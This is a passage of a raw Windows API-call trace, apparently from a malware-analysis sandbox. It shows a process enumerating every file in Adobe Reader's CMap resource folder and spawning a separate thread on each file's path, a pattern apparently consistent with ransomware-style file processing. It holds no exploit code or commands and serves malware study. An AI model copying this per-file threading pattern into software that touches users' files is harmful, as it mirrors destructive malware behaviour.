dwReserved1=0x0, cFileName="UCS2-KSCpc-EUC", cAlternateFileName="UCS2-K~1")) returned 1 [0183.655] wcscmp (_String1="UCS2-KSCpc-EUC", _String2=".") returned 1 [0183.655] wcscmp (_String1="UCS2-KSCpc-EUC", _String2="..") returned 1 [0183.655] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x20507b90 [0183.655] wcscpy (in: _Dest=0x20507b90, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0183.655] wcscat (in: _Dest=0x20507b90, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0183.655] wcscat (in: _Dest=0x20507b90, _Source="UCS2-KSCpc-EUC" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UCS2-KSCpc-EUC") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UCS2-KSCpc-EUC" [0183.655] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x20507b90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2de8 [0183.658] FindNextFileW (in: hFindFile=0x1cd86250, lpFindFileData=0x2027cf50 | out: lpFindFileData=0x2027cf50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f90eda0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x53d72, dwReserved0=0x0, dwReserved1=0x0, cFileName="UniCNS-UCS2-H", cAlternateFileName="UNICNS~2")) returned 1 [0183.658] wcscmp (_String1="UniCNS-UCS2-H", _String2=".") returned 1 [0183.658] wcscmp (_String1="UniCNS-UCS2-H", _String2="..") returned 1 [0183.658] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8a) returned 0x20509350 [0183.659] wcscpy (in: _Dest=0x20509350, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0183.659] wcscat (in: _Dest=0x20509350, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0183.659] wcscat (in: _Dest=0x20509350, _Source="UniCNS-UCS2-H" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniCNS-UCS2-H") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniCNS-UCS2-H" [0183.659] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x20509350, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6e0 [0183.662] FindNextFileW (in: hFindFile=0x1cd86250, lpFindFileData=0x2027cf50 | out: lpFindFileData=0x2027cf50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f89c980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="UniCNS-UCS2-V", cAlternateFileName="UNICNS~1")) returned 1 [0183.663] wcscmp (_String1="UniCNS-UCS2-V", _String2=".") returned 1 [0183.663] wcscmp (_String1="UniCNS-UCS2-V", _String2="..") returned 1 [0183.663] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8a) returned 0x20507870 [0183.663] wcscpy (in: _Dest=0x20507870, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0183.663] wcscat (in: _Dest=0x20507870, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0183.663] wcscat (in: _Dest=0x20507870, _Source="UniCNS-UCS2-V" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniCNS-UCS2-V") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniCNS-UCS2-V" [0183.663] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x20507870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2b00 [0183.664] FindNextFileW (in: hFindFile=0x1cd86250, lpFindFileData=0x2027cf50 | out: lpFindFileData=0x2027cf50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f934f00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x425e9, dwReserved0=0x0, dwReserved1=0x0, cFileName="UniCNS-UTF16-H", cAlternateFileName="UNICNS~4")) returned 1 [0183.664] wcscmp (_String1="UniCNS-UTF16-H", _String2=".") returned 1 [0183.664] wcscmp (_String1="UniCNS-UTF16-H", _String2="..") returned 1 [0183.664] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x20507e10 [0183.665] wcscpy (in: _Dest=0x20507e10, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0183.665] wcscat (in: _Dest=0x20507e10, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0183.665] wcscat (in: _Dest=0x20507e10, _Source="UniCNS-UTF16-H" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniCNS-UTF16-H") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniCNS-UTF16-H" [0183.665] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x20507e10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2af8 [0183.666] FindNextFileW (in: hFindFile=0x1cd86250, lpFindFileData=0x2027cf50 | out: lpFindFileData=0x2027cf50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f90eda0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc33, dwReserved0=0x0, dwReserved1=0x0, cFileName="UniCNS-UTF16-V", cAlternateFileName="UNICNS~3")) returned 1 [0183.667] wcscmp (_String1="UniCNS-UTF16-V", _String2=".") returned 1 [0183.667] wcscmp (_String1="UniCNS-UTF16-V", _String2="..") returned 1 [0183.667] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x205077d0 [0183.667] wcscpy (in: _Dest=0x205077d0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0183.667] wcscat (in: _Dest=0x205077d0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0183.667] wcscat (in: _Dest=0x205077d0, _Source="UniCNS-UTF16-V" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniCNS-UTF16-V") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniCNS-UTF16-V" [0183.667] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x205077d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2920 [0183.668] FindNextFileW (in: hFindFile=0x1cd86250, lpFindFileData=0x2027cf50 | out: lpFindFileData=0x2027cf50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8007f260, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x46805, dwReserved0=0x0, dwReserved1=0x0, cFileName="UniGB-UCS2-H", cAlternateFileName="UNIGB-~2")) returned 1 [0183.668] wcscmp (_String1="UniGB-UCS2-H", _String2=".") returned 1 [0183.668] wcscmp (_String1="UniGB-UCS2-H", _String2="..") returned 1 [0183.668] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x42c22cf0 [0183.669] wcscpy (in: _Dest=0x42c22cf0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0183.669] wcscat (in: _Dest=0x42c22cf0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0183.669] wcscat (in: _Dest=0x42c22cf0, _Source="UniGB-UCS2-H" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniGB-UCS2-H") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniGB-UCS2-H" [0183.669] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x42c22cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x22e4 [0183.670] FindNextFileW (in: hFindFile=0x1cd86250, lpFindFileData=0x2027cf50 | out: lpFindFileData=0x2027cf50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8000ce40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xd09, dwReserved0=0x0, dwReserved1=0x0, cFileName="UniGB-UCS2-V", cAlternateFileName="UNIGB-~1")) returned 1 [0183.670] wcscmp (_String1="UniGB-UCS2-V", _String2=".") returned 1 [0183.670] wcscmp (_String1="UniGB-UCS2-V", _String2="..") returned 1 [0183.670] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x42c22d80 [0183.670] wcscpy (in: _Dest=0x42c22d80, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0183.670] wcscat (in: _Dest=0x42c22d80, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0183.670] wcscat (in: _Dest=0x42c22d80, _Source="UniGB-UCS2-V" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniGB-UCS2-V") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniGB-UCS2-V" [0183.670] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x42c22d80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x13a4 [0183.672] FindNextFileW (in: hFindFile=0x1cd86250, lpFindFileData=0x2027cf50 | out: lpFindFileData=0x2027cf50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8007f260, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3453e, dwReserved0=0x0, dwReserved1=0x0, cFileName="UniGB-UTF16-H", cAlternateFileName="UNIGB-~4")) returned 1 [0183.672] wcscmp (_String1="UniGB-UTF16-H", _String2=".") returned 1 [0183.672] wcscmp (_String1="UniGB-UTF16-H", _String2="..") returned 1 [0183.672] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8a) returned 0x20508bd0 [0183.672] wcscpy (in: _Dest=0x20508bd0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0183.672] wcscat (in: _Dest=0x20508bd0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0183.672] wcscat (in: _Dest=0x20508bd0, _Source="UniGB-UTF16-H" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniGB-UTF16-H") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniGB-UTF16-H" [0183.672] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x20508bd0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x18e4 [0183.673] FindNextFileW (in: hFindFile=0x1cd86250, lpFindFileData=0x2027cf50 | out: lpFindFileData=0x2027cf50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8007f260, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xca2, dwReserved0=0x0, dwReserved1=0x0, cFileName="UniGB-UTF16-V", cAlternateFileName="UNIGB-~3")) returned 1 [0183.673] wcscmp (_String1="UniGB-UTF16-V", _String2=".") returned 1 [0183.673] wcscmp (_String1="UniGB-UTF16-V", _String2="..") returned 1 [0183.673] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8a) returned 0x20508ef0 [0183.674] wcscpy (in: _Dest=0x20508ef0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0183.674] wcscat (in: _Dest=0x20508ef0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0183.674] wcscat (in: _Dest=0x20508ef0, _Source="UniGB-UTF16-V" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniGB-UTF16-V") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniGB-UTF16-V" [0183.674] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x20508ef0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa14 [0183.675] FindNextFileW (in: hFindFile=0x1cd86250, lpFindFileData=0x2027cf50 | out: lpFindFileData=0x2027cf50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fab1cc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2b580, dwReserved0=0x0, dwReserved1=0x0, cFileName="UniJIS-UCS2-H", cAlternateFileName="UNIJIS~1")) returned 1 [0183.675] wcscmp (_String1="UniJIS-UCS2-H", _String2=".") returned 1 [0183.675] wcscmp (_String1="UniJIS-UCS2-H", _String2="..") returned 1 [0183.675] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8a) returned 0x20508a90 [0183.675] wcscpy (in: _Dest=0x20508a90, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0183.675] wcscat (in: _Dest=0x20508a90, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0183.675] wcscat (in: _Dest=0x20508a90, _Source="UniJIS-UCS2-H" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniJIS-UCS2-H") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniJIS-UCS2-H" [0183.675] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x20508a90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4c0 [0183.676] FindNextFileW (in: hFindFile=0x1cd86250, lpFindFileData=0x2027cf50 | out: lpFindFileData=0x2027cf50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fab1cc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xb9a, dwReserved0=0x0, dwReserved1=0x0, cFileName="UniJIS-UCS2-HW-H", cAlternateFileName="UNIJIS~2")) returned 1 [0183.676] wcscmp (_String1="UniJIS-UCS2-HW-H", _String2=".") returned 1 [0183.676] wcscmp (_String1="UniJIS-UCS2-HW-H", _String2="..") returned 1 [0183.676] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x90) returned 0x4230d740 [0183.677] wcscpy (in: _Dest=0x4230d740, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0183.677] wcscat (in: _Dest=0x4230d740, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0183.677] wcscat (in: _Dest=0x4230d740, _Source="UniJIS-UCS2-HW-H" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniJIS-UCS2-HW-H") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniJIS-UCS2-HW-H" [0183.677] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x4230d740, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x534 [0183.678] FindNextFileW (in: hFindFile=0x1cd86250, lpFindFileData=0x2027cf50 | out: lpFindFileData=0x2027cf50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fab1cc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1b1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="UniJIS-UCS2-HW-V", cAlternateFileName="UNIJIS~3")) returned 1 [0183.678] wcscmp (_String1="UniJIS-UCS2-HW-V", _String2=".") returned 1 [0183.678] wcscmp (_String1="UniJIS-UCS2-HW-V", _String2="..") returned 1 [0183.678] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x90) returned 0x4230ebe0 [0183.678] wcscpy (in: _Dest=0x4230ebe0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0183.678] wcscat (in: _Dest=0x4230ebe0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0183.678] wcscat (in: _Dest=0x4230ebe0, _Source="UniJIS-UCS2-HW-V" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniJIS-UCS2-HW-V") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniJIS-UCS2-HW-V" [0183.678] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x4230ebe0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x14b4 [0183.679] FindNextFileW (in: hFindFile=0x1cd86250, lpFindFileData=0x2027cf50 | out: lpFindFileData=0x2027cf50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fab1cc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1ac5, dwReserved0=0x0, dwReserved1=0x0, cFileName="UniJIS-UCS2-V", cAlternateFileName="UNIJIS~4")) returned 1 [0183.679] wcscmp (_String1="UniJIS-UCS2-V", _String2=".") returned 1 [0183.679] wcscmp (_String1="UniJIS-UCS2-V", _String2="..") returned 1 [0183.679] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8a) returned 0x4230efa0 [0183.679] wcscpy (in: _Dest=0x4230efa0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0183.679] wcscat (in: _Dest=0x4230efa0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0183.679] wcscat (in: _Dest=0x4230efa0, _Source="UniJIS-UCS2-V" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniJIS-UCS2-V") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniJIS-UCS2-V" [0183.680] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x4230efa0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8d4 [0183.680] FindNextFileW (in: hFindFile=0x1cd86250, lpFindFileData=0x2027cf50 | out: lpFindFileData=0x2027cf50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fad7e20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x315bd, dwReserved0=0x0, dwReserved1=0x0, cFileName="UniJIS-UTF16-H", cAlternateFileName="UN87E6~1")) returned 1 [0183.680] wcscmp (_String1="UniJIS-UTF16-H", _String2=".") returned 1 [0183.680] wcscmp (_String1="UniJIS-UTF16-H", _String2="..") returned 1 [0183.681] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x4230ee60 [0183.681] wcscpy (in: _Dest=0x4230ee60, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0183.681] wcscat (in: _Dest=0x4230ee60, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0183.681] wcscat (in: _Dest=0x4230ee60, _Source="UniJIS-UTF16-H" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniJIS-UTF16-H") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniJIS-UTF16-H" [0183.681] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x4230ee60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8ec [0183.682] FindNextFileW (in: hFindFile=0x1cd86250, lpFindFileData=0x2027cf50 | out: lpFindFileData=0x2027cf50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fab1cc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x17ad, dwReserved0=0x0, dwReserved1=0x0, cFileName="UniJIS-UTF16-V", cAlternateFileName="UN275C~1")) returned 1 [0183.682] wcscmp (_String1="UniJIS-UTF16-V", _String2=".") returned 1 [0183.682] wcscmp (_String1="UniJIS-UTF16-V", _String2="..") returned 1 [0183.682] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x4230edc0 [0183.682] wcscpy (in: _Dest=0x4230edc0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0183.682] wcscat (in: _Dest=0x4230edc0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0183.682] wcscat (in: _Dest=0x4230edc0, _Source="UniJIS-UTF16-V" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniJIS-UTF16-V") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniJIS-UTF16-V" [0183.682] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, 